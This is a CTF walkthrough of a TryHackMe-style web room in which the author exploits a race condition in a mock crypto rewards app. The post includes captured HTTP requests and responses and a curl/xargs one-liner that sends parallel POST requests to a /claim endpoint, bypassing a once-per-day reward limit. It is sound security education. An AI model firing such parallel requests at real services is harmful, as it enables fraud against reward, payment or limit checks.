Towel on the Sunbed — TryHackMe Walkthrough (Hacker Holidays 2026, Day 8)

Room: Towel on the Sunbed
Category: Web | Difficulty: Medium | Points: 90

Ponzi set his towel down for one 24-hour reward claim. He came back to find the sunbed had been “claimed” three times over while he wasn’t looking.

This one is a race condition challenge dressed up as a crypto rewards app. The briefing is basically the hint: something claims to happen “once every 24 hours,” but there’s a gap between the request and the server’s clock wide enough to walk a whale through. Let’s go find it.

Initial recon

I started by walking through the web app with Burp Suite running in the background so I could see every request as I clicked around. Visiting the site while logged out redirects straight to /auth/login.

Since there was no existing account to work with, I registered a fresh guest account at /auth/register to explore the daily reward mechanism from the inside. After signup, the app redirects to /dashboard.

The dashboard shows a portfolio balance, live market prices, a staking rewards panel, and a whale vault progress bar. User data is pulled from an API endpoint at /dashboard/api/me, which returns something like this:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 278
ETag: W/"116-NWKnNovBqYaQPelzKohsCd83gNI"
Date: Tue, 18 Aug 2026 14:22:07 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"id":2,"username":"testusername","balance":0,"tier":"Shrimp","whaleThreshold":150,"canClaim":true,"secondsUntilClaim":0,"prices":[{"symbol":"BTC","price_usd":67432.11},{"symbol":"ETH","price_usd":3512.88},{"symbol":"PONZI","price_usd":4.2},{"symbol":"SOL","price_usd":178.44}]}

Digging through /js/dashboard.js turned up two more endpoints that aren’t obviously linked from the UI: /vault and /claim. /claim handles the daily staking reward, and /vault is where the flag lives — gated behind a balance requirement. According to the dashboard copy, claiming the staking reward earns 50 PONZI every 24 hours, and reaching the 150 PONZI “whale” threshold unlocks the vault reward (the flag).

Mapping the claim flow

Clicking the Claim Reward button sends a POST request to /claim. Here’s the request and response pair, captured in Burp:

POST /claim HTTP/1.1
Host: 10.67.179.240:3000
Content-Length: 0
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: http://10.67.179.240:3000
Referer: http://10.67.179.240:3000/dashboard
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3AQOuyNdkWfi8tBL4YbwMcg1o9h7VAvyMy.PUnD40kWwZZWf1TxuIbVyNOOZtcsLqud7GA41aqDDX8
Connection: keep-alive




HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 114
ETag: W/"72-f8wsWDsVt6SP3811+HTqkwdvhHU"
Date: Tue, 18 Aug 2026 14:46:25 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"message":"Staking reward claimed successfully.","reward":50,"newBalance":50,"tier":"Shrimp","priceSnapshot":4.2}

The first claim goes through and pays out 50 PONZI. Repeating the exact same request immediately afterward gets shut down:

{"error":"Reward already claimed. Please wait before claiming again.","secondsRemaining":86149}

And checking /dashboard/api/me again confirms the server thinks the claim window is closed for the next 24 hours:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 284
ETag: W/"11c-Q/0QQp4JFWAk0m3Oi7AYN2rIwyY"
Date: Tue, 18 Aug 2026 14:52:33 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"id":2,"username":"testusername","balance":50,"tier":"Shrimp","whaleThreshold":150,"canClaim":false,"secondsUntilClaim":86032,"prices":[{"symbol":"BTC","price_usd":67432.11},{"symbol":"ETH","price_usd":3512.88},{"symbol":"PONZI","price_usd":4.2},{"symbol":"SOL","price_usd":178.44}]}

For completeness, I also checked the vault endpoint directly. Sending a GET to /vault with only 50 PONZI on the balance returns a straightforward 403:

HTTP/1.1 403 Forbidden
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 106
ETag: W/"6a-s98qQsSUDOfxF0bgqw0J/owdZ5E"
Date: Tue, 18 Aug 2026 14:55:49 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"error":"Access denied. Whale-tier balance required.","currentBalance":50,"required":150,"shortfall":100}

So the plan is clear on paper: get from 50 PONZI to 150 PONZI. The 24-hour cooldown makes that impossible through normal use — unless the “once every 24 hours” check has a gap in it.

Exploitation: racing the claim endpoint

The room’s flavor text all but names the bug:

The app disagrees, politely, once every 24 hours. Somewhere between his request and the server’s clock, there’s a gap wide enough to walk a whale through.

That’s a description of a race condition: if the server checks “has this user already claimed today?” and then writes the new balance as two separate steps, firing multiple claim requests at (almost) the same instant can slip more than one of them through that check before any of them get a chance to update the “already claimed” flag.

To test this, I registered a second, clean account and set up an intercepted request in Burp before clicking Claim, then sent it to Repeater and dropped the original so I had a saved template of a valid, authenticated /claim request.

Burp’s Repeater and Intruder tools can do single-packet/last-byte-sync race attacks, and PortSwigger has a good walkthrough of the technique here: Race conditions: limit overrun. In my case, firing requests through Burp’s tooling alone didn’t reliably win the race, so I switched to a blunter but effective approach: firing a batch of real parallel requests from the command line with curl and xargs.

seq 1 20 | xargs -P50 -I{} curl -s -X POST 'http://10.67.179.240:3000/claim' \
  -H 'Accept: */*' \
  -H 'Cookie: connect.sid=s%3AfpfsmLOC-GfGGq7CLF5fntMZ-oj5zq3X.H0tmjzeD7S6USLZsLP0D%2BagCSy8JyH2M7jaIO3JDpzM'

This spins up 20 requests to /claim, all racing to hit the server at essentially the same moment. The idea is to land enough requests inside the tiny window between the server reading the “can this user claim?” state and writing back the “claimed” state, so more than one of them reads “not yet claimed” before any of them finish writing.

Most of the requests came back with the expected "Reward already claimed" error, but a handful slipped through the gap. Looking at the successful responses in the flood of output, the balance climbed 50 → 100 → 150, with the tier field updating from Shrimp to Dolphin to Whale along the way — three successful claims in total, instead of the one the app intended to allow.

Claiming the vault

Refreshing the dashboard confirmed it: the balance now read 150/150 PONZI, tier Whale, and the vault was unlocked. Clicking Open Vault returned the flag.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top